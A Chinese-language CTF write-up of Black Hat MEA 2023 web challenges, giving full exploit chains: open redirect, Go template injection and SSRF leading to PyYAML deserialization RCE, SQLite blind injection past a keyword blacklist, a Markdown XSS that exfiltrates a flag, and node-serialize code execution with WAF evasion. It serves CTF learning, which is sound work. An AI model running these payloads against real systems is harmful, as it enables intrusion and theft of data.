Black Hat MEA CTF 2023 Web Writeup

Black Hat MEA CTF 2023 Web Writeup

跟 Nu1L 的 crane 师傅一起做的 Web 题, 最后队伍取得了第七名的成绩, 师傅们太强了

记录一下我这边的 Writeup, 标 * 的表示比赛当时没做出来, 赛后复现的题目

gtb

题目是一个银行, 可以借钱还钱转账, 然后还可以创建笔记和上传特定格式的文件

解这道题需要多个漏洞点组合利用

首先 logout 路由存在开放重定向

bank/controllers/auth.go

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
func LogoutHandler(c *fiber.Ctx) error {
	session, err := sessions.RSS.Get(c)

	if err != nil {
		return c.Status(http.StatusInternalServerError).SendString("Internal Server Error")
	}
	session.Destroy()
	if err := session.Save(); err != nil {
		return c.Status(http.StatusInternalServerError).SendString("Internal Server Error")
	}

	redirectTo := c.Query("redirect_to", "/login")

	return c.Redirect(redirectTo)
}

payload

http://127.0.0.1:3000/logout?redirect_to=https://www.google.com/

其次是 SSTI

bank/controllers/transactions.go

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
func ViewSpecificTransactionsInfo(c *fiber.Ctx) error {
	transaction_id, err := c.ParamsInt("id", 0)
	forWhom := c.Query("for", "")

	if err != nil {
		return c.Status(http.StatusBadRequest).SendString("Invalid transaction id")
	}

	if transaction_id == 0 {
		return c.Status(http.StatusBadRequest).SendString("Invalid transaction id")
	}

	s, err := sessions.RSS.Get(c)
	if err != nil {
		return c.Status(http.StatusInternalServerError).SendString("Internal Server Error")
	}

	accountId, ok := s.Get("account_id").(uint)

	if !ok {
		return c.Status(http.StatusInternalServerError).SendString("Internal Server Error")
	}

	uid := uint(accountId)

	var transaction models.Transaction
	err = models.FindUserTransaction(&transaction, uint(transaction_id), uid, "DESC")

	if err != nil {
		return c.Status(http.StatusInternalServerError).SendString("Internal Server Error")
	}

	tmpl, err := template.New("").Parse(
		"Transaction ID: {{.ID}}| Amount: {{.Amount}}| Description: {{.Description}}| Type: {{.Type}}| Account ID: {{.AccountID}}| Created At: {{.CreatedAt}}|From:" + forWhom,
	)
	if err != nil {
		fmt.Println(err)
		return c.Status(http.StatusInternalServerError).SendString("Internal Server Error")
	}

	var tpl bytes.Buffer
	if err := tmpl.Execute(&tpl, &transaction); err != nil {

	}

	res := tpl.String()

	config.CustomLogger.Log(res)

	return c.Render("transaction", fiber.Map{
		"transaction": transaction,
	})

}

forWhom 也就是通过 GET 传递的参数 for, 直接被传入了模版本身, 存在 SSTI

在这里 SSTI 可以调用 Transaction 结构体的某些方法 (必须仅包含一个 string 类型的参数)

这里我找到了 DoesPartyExist 方法, 可以进一步造成 SSRF

bank/models/Transaction.go

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
func (t *Transaction) DoesPartyExist(desc string) bool {

	parts := strings.Split(desc, "|")
	transferURL, err := url.Parse(parts[0][3:])

	if err != nil {
		return false
	}

	isLocal := strings.HasPrefix(transferURL.Host, "127.0.0.1:3000") && strings.HasPrefix(transferURL.Path, "/user/")

	if !isLocal {
		return false
	}

	transferURL.Path = path.Clean(transferURL.Path)

	client := &http.Client{}

	req, err := http.NewRequest("GET", transferURL.String(), nil)

	if err != nil {
		return false
	}
	resp, err := client.Do(req)

	if err != nil {
		return false
	}
	defer resp.Body.Close()

	return resp.StatusCode != http.StatusNotFound

}

通过 /user/../logout 绕过 path prefix 检查

1
/transactions/view/dev/2?for={{.DoesPartyExist "TO:http://127.0.0.1:3000/user/../logout?redirect_to=http://127.0.0.1:4444/|123"}}

到目前为止, 我们找到了开放重定向, SSTI 以及 SSRF

然后接下来去看看如何找到最终能够 RCE 或者 get flag 的 sink 点

题目的 accountant/job.py 使用了低版本的 PyYAML (5.1.2), 可以 RCE

1
exp: !!python/object/apply:os.system ["whoami"]

accountant/job.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/env python3

import datetime
import os
import requests
import signal
from yaml import *

signal.alarm(20)


def verify_records(s):
    return "[+] I'm done, let me go home\n" + s


pw = "SUPER_DUPER_SECRET_STRING_HERE"
auth_data = {"username": "MisterX", "password": pw}


print("[+] Let me get into my office")

sess = requests.Session()
resp = sess.post(
    "http://localhost:3000/login",
    data={"username": "MisterX", "password": pw},
    headers={"Content-Type": "application/x-www-form-urlencoded"},
    allow_redirects=False,
)


# sess.cookies.set("session_id", resp.cookies.get("session_id"))


print("[+] Verifying old records, I am shocking with dust, Damn there are rats too !")
resp = sess.get("http://localhost:3000/transactions/report/info/all")
print(resp.text)

if len(resp.text) != 0:
    print("[-] I am not happy, I am not going to work today")

    reports = resp.text.split("|")

    for report in reports:
        try:
            report_id = report.split(":")[0]
            user_id = report.split(":")[1]

            print("[+] Interesting record here, ")
            res = sess.get(
                "http://localhost:3000/transactions/report/gen/"
                + report_id
                + "?user_id="
                + user_id
            )
            if res.status_code == 200:
                loaded_yaml = load(res.text, Loader=Loader)
                print(verify_records(loaded_yaml))
        except:
            print("[-] ~#! !!!! Oo $h/t the rats are eating the old records")


resp = sess.get("http://localhost:3000/users")
print("[+] Got new reports for today hope not, let me do my work you shorty!")

print(resp.json())

for user in resp.json():
    try:
        resp = sess.get(
            "http://localhost:3000/transactions/report/gen/1?user_id=" + str(user["ID"])
        )
    except:
        print("[+] a bit more ...")

print(f"[{datetime.datetime.now()}] Accountant will be back soon.")

脚本首先会以 accountant role 的身份登录网站, 然后访问 /transactions/report/info/all 拿到 user_id 和 report_id

然后尝试访问 /transactions/report/gen/<report_id>?user_id=<user_id> 以生成一个 transactions report

之后拿到 report 内容并调用 load(res.text, Loader=Loader), 这里使用了默认的 PyYAML.Loader 对 YAML 格式的 report 进行反序列化

最后会枚举所有用户并访问 /transactions/report/gen/1?user_id=<user_id> 并尝试为每个用户生成一个 report (此时 report_id 为 1)

先看看生成 report 的过程

bank/controllers/transactions.go

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// /report/gen/:id
func GetReport(c *fiber.Ctx) error {
	report_id := c.Params("id", "")

	user_id := c.QueryInt("user_id", 0)

	if report_id == "" {
		return c.Status(http.StatusBadRequest).SendString("Invalid Id value")
	}

	report, _ := models.VerifyReportInCache(report_id)

	if report != "" {
		return c.SendString(report)
	}

	if user_id == 0 {
		return c.Status(http.StatusBadRequest).SendString("Invalid user id")
	}

	report, err := models.GenerateReport(uint(user_id))

	if err != nil {

		fmt.Println("[+] Error generating report, ", err)

		return c.Status(http.StatusInternalServerError).SendString("Internal Server Error: Error generating report")
	}

	report_id = utils.HashStringToSha256(report)

	_ = models.SaveReportInCache(report_id, report)

	if !slices.Contains(cachedKeys, report_id+":"+strconv.Itoa(user_id)) {
		cachedKeys = append(cachedKeys, report_id+":"+strconv.Itoa(user_id))
	}

	c.Response().Header.Set("Content-Type", "text/yaml")

	return c.SendString(report)
}

GetReport 方法会先从 Redis 中取出 report, 如果没有的话就会调用 models.GenerateReport 生成 report, 并且以其内容进行 SHA256 得到一个 report_id, 最后将其保存至 Redis

GenerateReport 方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
func GenerateReport(userID uint) (string, error) {

	latestTransactions, err := GetLatestUserTransactions(userID)

	fmt.Println(latestTransactions)

	if err != nil {
		return "", err
	}

	if len(latestTransactions) == 0 {
		return "", errors.New("No transactions found")
	}

	if len(latestTransactions) < 10 {
		return "", errors.New("Not enough transactions to generate report")
	}

	var report string

	descArray := []TransactionDescription{}

	for _, transaction := range latestTransactions {
		desc, err := transaction.GetTransactionDescription()
		if err != nil {
			return "", err
		}

		descArray = append(descArray, desc)
	}

	report, err = DumpTransactionDescriptionsToYaml(descArray)

	return report, err
}

只有当交易数大于等于 10 时, report 才能够被生成

方法最终会调用 DumpTransactionDescriptionsToYaml 将 descArray 序列化为 YAML 格式

然后这里我们得注意一个点: 我们不能够在序列化之前构造一个 RCE payload, 因为程序在反序列化后会将 !!!xxx 这种形式的内容作为一个字符串, 而不是类型转换语法

所以得找到其它地方存入 YAML payload 实现 RCE

在上面的分析中, GetReport 方法首先会尝试从 Redis 中取出 report, 这里我找到了另外一个地方, 可以将自定义数据写入 Redis (key 和 value 均可控)

bank/controllers/user.go

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// /financial-note/view/:title
func ViewFinancialNote(c *fiber.Ctx) error {
	title := c.Params("title")

	var financialNote models.FinanceNote

	if len(title) < 4 {
		return c.Status(http.StatusBadRequest).SendString("Note must be at least 4 character and same for its title.")
	}

	res, err := config.Cache.Get(title)

	if err != nil && res != "" {
		financialNote.Title = title
		financialNote.Note = res
		return c.Render("financial_note", financialNote)
	}

	s, err := sessions.RSS.Get(c)

	if err != nil {
		fmt.Println(err)
		return c.Status(http.StatusInternalServerError).SendString("Internal Server Error")
	}

	userId, ok := s.Get("user_id").(uint)

	if !ok {
		fmt.Println(err, userId)
	}

	if err := models.GetUserNoteByTitle(&financialNote, title); err != nil {
		return c.SendStatus(http.StatusNotFound)
	}

	if err := config.Cache.Set(title, financialNote.Note); err != nil {
		fmt.Println(err)
		return c.SendStatus(http.StatusInternalServerError)
	}

	return c.Render("financial_note", financialNote)

}

不过这个路由仅允许本地访问, 但是我们之前已经找到了一个 SSRF, 所以只需要构造这种 payload 即可

1
/transactions/view/dev/2?for={{.DoesPartyExist "TO:http://127.0.0.1:3000/user/../logout?redirect_to=http://127.0.0.1:4444/|123"}}

后面只需要先创建一个 note, 然后用这个 SSRF 去访问 note, 使得 note 被写入 Redis, 之后让 GetReport 方法从 Redis 中获取这个 note 的内容, 再让 accountant 反序列化, 即可实现 RCE

然后还有另外一个点需要注意: 我们需要构造正确的 report_id, 因为 note title (同时也是 Redis key) 必须不少于 4 个字符

acccountant 脚本只会从 /transactions/report/info/all 中获取 report_id, 或者以 1 作为 report_id, 然后生成 report

bank/controllers/transactions.go

1
2
3
4
// /report/info/all
func GetReportsKeys(c *fiber.Ctx) error {
	return c.SendString(strings.Join(cachedKeys, "|"))
}

cachedKeys 是一个全局 map, 存放了先前所有的 report_id 和 user_id

GetReport 方法

1
2
3
if !slices.Contains(cachedKeys, report_id+":"+strconv.Itoa(user_id)) {
  cachedKeys = append(cachedKeys, report_id+":"+strconv.Itoa(user_id))
}

这里需要将我们的 report_id 存入 cacheKey, 这样 accountant 脚本才能够获取到我们自定义的 report 内容

虽然只有 GetReport 对 cacheKeys 有写入操作, 但是很容易注意到写入的 Redis cache 会在 30s 后过期

bank/config/redis.go

1
2
3
func (r RedisConnection) Set(key string, value string) error {
	return r.client.Set(r.client.Context(), key, value, 30*time.Second).Err()
}

所以我们可以重用之前的 report_id (已经被存入了 cacheKeys map), 然后利用这个 report_id 向 Redis 中写入 RCE payload

exp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
import requests
from urllib.parse import quote
import time
import hashlib
import re

# url = 'http://a91ea859f3ba8f8e2524a.playat.flagyard.com'

url = 'http://127.0.0.1:3000'

report = '''- sender: ""
  username: ""
  balance_before: 9
  balance_after: 10
  description: depositREPLACE
  transaction_details:
    from: go-get-it
    result: success
- sender: ""
  username: ""
  balance_before: 8
  balance_after: 9
  description: depositREPLACE
  transaction_details:
    from: go-get-it
    result: success
- sender: ""
  username: ""
  balance_before: 7
  balance_after: 8
  description: depositREPLACE
  transaction_details:
    from: go-get-it
    result: success
- sender: ""
  username: ""
  balance_before: 6
  balance_after: 7
  description: depositREPLACE
  transaction_details:
    from: go-get-it
    result: success
- sender: ""
  username: ""
  balance_before: 5
  balance_after: 6
  description: depositREPLACE
  transaction_details:
    from: go-get-it
    result: success
- sender: ""
  username: ""
  balance_before: 4
  balance_after: 5
  description: depositREPLACE
  transaction_details:
    from: go-get-it
    result: success
- sender: ""
  username: ""
  balance_before: 3
  balance_after: 4
  description: depositREPLACE
  transaction_details:
    from: go-get-it
    result: success
- sender: ""
  username: ""
  balance_before: 2
  balance_after: 3
  description: depositREPLACE
  transaction_details:
    from: go-get-it
    result: success
- sender: ""
  username: ""
  balance_before: 1
  balance_after: 2
  description: depositREPLACE
  transaction_details:
    from: go-get-it
    result: success
- sender: ""
  username: ""
  balance_before: 0
  balance_after: 1
  description: depositREPLACE
  transaction_details:
    from: go-get-it
    result: success
'''

s = requests.Session()

print('register')
s.post(url + "/register", data={"username": "test1234", "password": 'test1234'})

print('login')
s.post(url + "/login", data={"username": "test1234", "password": 'test1234'})

print('trasactions')
for _ in range(10):
    print('deposit')
    s.post(url + '/account', data={
        'operation': 'deposit',
        'to': '3',
        'amount': '1'
    })

print('find report_id')
res = s.get(url + '/account')
created_at = re.findall(r"deposit\|(\d\d\d\d-\d\d-\d\d \d\d\:\d\d)", res.text)[0]

report = report.replace('REPLACE', created_at)
report_id = hashlib.sha256(report.encode()).hexdigest()

print('add note')
s.post(url + '/user/financial-note/new', data={
    'title': report_id,
    'note': 'exp: !!python/object/apply:os.system ["cat /* > /app/static/flag.txt"]'
})

while True:
    print('write note to redis')
    payload = quote(r'{{.DoesPartyExist "TO:http://127.0.0.1:3000/user/../logout?redirect_to=http://127.0.0.1:3000/financial-note/view/' + report_id + '|123"}}')
    res = s.get(url + '/transactions/view/dev/2?for=' + payload)
    
    time.sleep(1)

访问 /static/flag.txt 得到 flag

这里比较蛋疼的是得注意交易时间, 必须和题目服务器上的完全一致, 然后 YAML 是倒序的 (最新的交易在最前面)

way2easy

xsleaks 题

handlers/master_key.go

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
func SecretDoor(c echo.Context) error {

	master_key := c.FormValue("master_key")

	if master_key != "" && !utils.IsBlacklisted(master_key) {
		var id string

		err := utils.Db.QueryRow(fmt.Sprintf("SELECT id FROM masterKeys WHERE master_key = '%s'", master_key)).Scan(&id)

		if err != nil {
			if err == sql.ErrNoRows {
				return echo.ErrBadRequest
			}
			return echo.ErrInternalServerError
		}

	}

	return c.NoContent(200)
}

SQLite 盲注, flag 在 masterkeys 表中

IsBlacklisted 函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
func IsBlacklisted(input string) bool {
	blacklist := []string{
		"--", ";", "/*", "*/", "@@", "@", "char", "nchar", "varchar", "nvarchar",
		"alter", "begin", "cast", "create", "cursor", "declare", "delete", "drop", "end",
		"exec", "execute", "fetch", "insert", "kill", "open", "select", "sys", "sysobjects", "union",
		"syscolumns", "table", "update",
	}

	for _, keyword := range blacklist {
		if strings.Contains(strings.ToLower(input), keyword) {
			return true
		}
	}
	return false
}

很容易就可以绕过

1
master_key=1' or master_key like 'flag{%

/secret-note 路由前端存在 Markdown XSS

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Note Display</title>

    <!-- Include pico.css -->
    <link rel="stylesheet" href="/static/pico.css">
</head>

<body>

    <div class="container">
        <h1>Your Note:</h1>
        <div id="noteOutput"></div>
    </div>

    <script src="/static/main.js"></script>
    <script>
        init() 
    </script>

    <!-- Include DOMPurify for sanitizing -->
    <script type="text/javascript" src="/static/purify.min.js"></script>

</body>

</html>

/static/main.js

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
function getQueryParam(name) {
    const urlParams = new URLSearchParams(window.location.search);
    return urlParams.get(name);
}

function simpleMarkdownToHTML(md) {
    let html = md;

    // Convert headers
    html = html.replace(/^# (.*$)/gim, '<h1>$1</h1>');
    html = html.replace(/^## (.*$)/gim, '<h2>$1</h2>');
    html = html.replace(/^### (.*$)/gim, '<h3>$1</h3>');
    html = html.replace(/^#### (.*$)/gim, '<h4>$1</h4>');


    // Convert images
    html = html.replace(/!\[(.*?)\]\((.*?)\)/gim, '<img src="$2" alt="$1">');

    // Convert links
    html = html.replace(/\[(.*?)\]\((.*?)\)/gim, '<a href="$2">$1</a>');

    // Convert bold text
    html = html.replace(/\*\*(.*?)\*\*/gim, '<b>$1</b>');
    html = html.replace(/__(.*?)__/gim, '<b>$1</b>');


    // Convert italic text
    html = html.replace(/\*(.*?)\*/gim, '<i>$1</i>');
    html = html.replace(/_(.*?)_/gim, '<i>$1</i>');

    // Convert blockquotes
    html = html.replace(/^> (.*$)/gim, '<blockquote>$1</blockquote>');

    return html;
}


function init() {
    document.addEventListener("DOMContentLoaded", function () {
        let note = getQueryParam('note');

        if (note) {

            if (typeof note === "string" && note.length > 150) {
                note = "Here is a placeholder note as yours is so long "
            }
            else {
                const currNote = atob(note)
                const safeHTML = DOMPurify.sanitize(currNote);
                note = simpleMarkdownToHTML(safeHTML);
            }

        } else {
            console.warn('No note query parameter set.');
            note = "Who Doesn't love cats"
        }


        document.getElementById('noteOutput').innerHTML = note;
    });
}

虽然用了 DOMPurify, 但其实还是可以用 Markdown 语法构造 XSS

1
![" onerror="eval(atob('YWxlcnQoMCk='))](0)

note 参数有长度限制, 不过可以从另一个 GET 参数中拿数据然后 eval

1
![" onerror="u=new URLSearchParams(window.location.search);eval(atob(u.get('x')))](0)

bot 不通外网, 得用 /keeper 路由外带 flag

handlers/keeper.go

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
func HandleKeeper(c echo.Context) error {
	// Get the payload from the POST form data
	payload := c.FormValue("payload")

	// Insert the payload into the vault table
	_, err := utils.Db.Exec("INSERT INTO vault (payload) VALUES (?)", payload)
	if err != nil {
		return echo.NewHTTPError(http.StatusInternalServerError, "Failed to save payload")
	}

	return c.String(http.StatusOK, "Payload saved successfully!")
}

func ViewKeeper(c echo.Context) error {

	var payloads []string
	rows, err := utils.Db.Query("SELECT payload FROM vault")
	if err != nil {
		fmt.Println(err)
		return echo.NewHTTPError(http.StatusInternalServerError, "Restart instance")
	}

	defer rows.Close()

	for rows.Next() {

		var x string
		if err := rows.Scan(&x); err != nil {
			return echo.NewHTTPError(http.StatusInternalServerError, "Restart instance")
		}

		payloads = append(payloads, x)
	}

	if err := rows.Err(); err != nil {
		panic(err)
	}

	return c.String(200, strings.Join(payloads, "-------------------\n"))

}

最终 payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
(async function() {
    let flag = 'flag{';
    let dicts='{}-0123456789abcdefghijklmnopqrstuvwxyz_'
    while (true) {
        for (let i = 0; i < dicts.length; i++) {
            let res = await fetch("/secret-door", {
                method: "POST",
                headers: {
                    "Content-Type": "application/x-www-form-urlencoded"
                },
                body: "master_key=1' or master_key like '" + flag + dicts[i] + "%25"
            })
            if (res.status == 200) {
                console.log(res.status)
                flag += dicts[i]
                console.log(flag)
                if (dicts[i] == '}') {
                    fetch("/keeper", {
                        method: "POST",
                        headers: {
                            "Content-Type": "application/x-www-form-urlencoded"
                        },
                        body: "payload=" + flag
                    })
                    return
                }
                break
            }
        }
    }
})()

bot url

1
http://localhost:3000/secret-note?note=IVsiIG9uZXJyb3I9InU9bmV3IFVSTFNlYXJjaFBhcmFtcyh3aW5kb3cubG9jYXRpb24uc2VhcmNoKTtldmFsKGF0b2IodS5nZXQoJ3gnKSkpXSgwKQ==&x=KGFzeW5jIGZ1bmN0aW9uKCkgewogICAgbGV0IGZsYWcgPSAnQkhGbGFnWXsnOwogICAgbGV0IGRpY3RzPSd7fS0wMTIzNDU2Nzg5YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXpfJwogICAgd2hpbGUgKHRydWUpIHsKICAgICAgICBmb3IgKGxldCBpID0gMDsgaSA8IGRpY3RzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIGxldCByZXMgPSBhd2FpdCBmZXRjaCgiL3NlY3JldC1kb29yIiwgewogICAgICAgICAgICAgICAgbWV0aG9kOiAiUE9TVCIsCiAgICAgICAgICAgICAgICBoZWFkZXJzOiB7CiAgICAgICAgICAgICAgICAgICAgIkNvbnRlbnQtVHlwZSI6ICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiCiAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgYm9keTogIm1hc3Rlcl9rZXk9MScgb3IgbWFzdGVyX2tleSBsaWtlICciICsgZmxhZyArIGRpY3RzW2ldICsgIiUyNSIKICAgICAgICAgICAgfSkKICAgICAgICAgICAgaWYgKHJlcy5zdGF0dXMgPT0gMjAwKSB7CiAgICAgICAgICAgICAgICBjb25zb2xlLmxvZyhyZXMuc3RhdHVzKQogICAgICAgICAgICAgICAgZmxhZyArPSBkaWN0c1tpXQogICAgICAgICAgICAgICAgY29uc29sZS5sb2coZmxhZykKICAgICAgICAgICAgICAgIGlmIChkaWN0c1tpXSA9PSAnfScpIHsKICAgICAgICAgICAgICAgICAgICBmZXRjaCgiL2tlZXBlciIsIHsKICAgICAgICAgICAgICAgICAgICAgICAgbWV0aG9kOiAiUE9TVCIsCiAgICAgICAgICAgICAgICAgICAgICAgIGhlYWRlcnM6IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJDb250ZW50LVR5cGUiOiAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIgogICAgICAgICAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgICAgICAgICBib2R5OiAicGF5bG9hZD0iICsgZmxhZwogICAgICAgICAgICAgICAgICAgIH0pCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQp9KSgp

等一会然后访问 /keeper 拿到 flag

Russian Dolls

node-serialize 的漏洞, 挺简单的题

index.js

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
fastify.get("/", { preHandler: isLoggedIn }, async (req, reply) => {
	let notes = [];
	if (req.cookies.notes) {
		const { valid, value } = req.unsignCookie(req.cookies.notes);

		if (!valid) {
			reply.clearCookie("notes");
			return reply.code(400).send({ error: { message: "Something is wrong" } });
		}
		const decodedCookie = Buffer.from(value, "base64");

		notes = global.serializer.fromBuffer(decodedCookie).map((x) => {
			new WAF(objSerializer, x);
			return objSerializer.unserialize(x);
		});

	}

	const { value } = req.unsignCookie(req.cookies.username);

	return reply.view("templates/index.ejs", {
		user: { username: value },
		notes,
	});
});

fastify.post("/", { preHandler: isLoggedIn }, async (req, reply) => {

	try {
		new WAF(objSerializer, req.body.note);
	} catch (e) {
		return reply.code(400).send(e);
	}

	if (req.body.note) {
		if (req.cookies.notes) {
			const { valid, value } = req.unsignCookie(req.cookies.notes);
			if (valid) {
				const decodedBuffer = Buffer.from(value, "base64");

				const notes = global.serializer.fromBuffer(decodedBuffer);
				notes.push(objSerializer.serialize(req.body.note));

				const serializedNotes = global.serializer.toBuffer(notes);
				reply.cookie("notes", serializedNotes.toString("base64"), {
					signed: true,
					httpOnly: true,
					secure: false,
				});
			} else {
				reply.clearCookie("notes");
			}
		} else {
			const serializedNote = objSerializer.serialize(req.body.note);
			reply.cookie(
				"notes",
				global.serializer.toBuffer([serializedNote]).toString("base64"),
				{
					signed: true,
					httpOnly: true,
					secure: false,
				}
			);
		}
		return reply.send({
			success: true,
		});
	}

	return reply.code(400).send({
		error: {
			message: "Bad note",
		},
	});
});

utils.js

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
const blacklist = [
	"atob",
	"btoa",
	"process",
	"exec",
	"Function",
	"require",
	"module",
	"global",
	"console",
	"+",
	"-",
	"*",
	"/",
	"===",
	"<",
	">=",
	"<=",
	"&&",
	"||",
	"new",
	"users",
	"[",
	"]",
	"Array",
	"constructor",
	"__proto__",
	"prototype",
	"hasOwnProperty",
	"valueOf",
	"toString",
	"charCodeAt",
	"fromCharCode",
	"string",
	"slice",
	"split",
	"join",
	"substr",
	"substring",
	"RegExp",
	"test",
	"match",
	"db",
	"Buffer",
	"setTimeout",
	"setInterval",
	"setImmediate",
	"Promise",
	"async",
	"await",
	"throw",
	"catch",
];

class Waf {
	constructor(serializer, any) {
		let value = any;
		if (typeof any === "object") {
			value = serializer.serialize(any);
		}

		if (value.length > 130) {
			throw new Error({
				message: "too long, no DDOS",
			});
		}

		for (let i = 0; i < blacklist.length; i++) {
			if (value.includes(blacklist[i])) {
				console.log(blacklist[i]);
				throw new Error({
					message: "not safe",
				});
			}
		}
		const result = vm.runInContext(
			` serializer.unserialize(value); `,
			vm.createContext({ value, serializer }),
			{ timeout: 1000 }
		);

		if (
			(typeof result === "string" ||
				(typeof result === "object" && result instanceof Array)) &&
			result.includes(process.env.FLAG)
		) {
			throw new Error({
				message: "nice try",
			});
		}
	}
}

简单发包即可

第一个包

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST / HTTP/1.1
Host: 127.0.0.1:3000
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:3000/register
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: username=test.iM0hCLU0fZc885zfkFPX3UJwSHbYyam9ji0WglnT3fc;
Connection: close
Content-Type: application/json
Content-Length: 138

{
"note":{
"x":"_$$ND_FUNC$$_function({eval(\"re\".concat(\"quire('child_pr\").concat(\"ocess').exe\").concat(\"c('env>a')\"))}()"
}
}

第二个包

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST / HTTP/1.1
Host: 127.0.0.1:3000
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:3000/register
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: username=test.iM0hCLU0fZc885zfkFPX3UJwSHbYyam9ji0WglnT3fc;
Connection: close
Content-Type: application/json
Content-Length: 147

{
"note":{
"x":"_$$ND_FUNC$$_function(){eval(\"re\".concat(\"quire('child_pr\").concat(\"ocess').exe\").concat(\"c('mv a s\\u002A')\"))}()"
}
}

访问 /static/a 拿到 flag

cursedjava

考点是反序列化 + SSRF

controllers/UserController.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
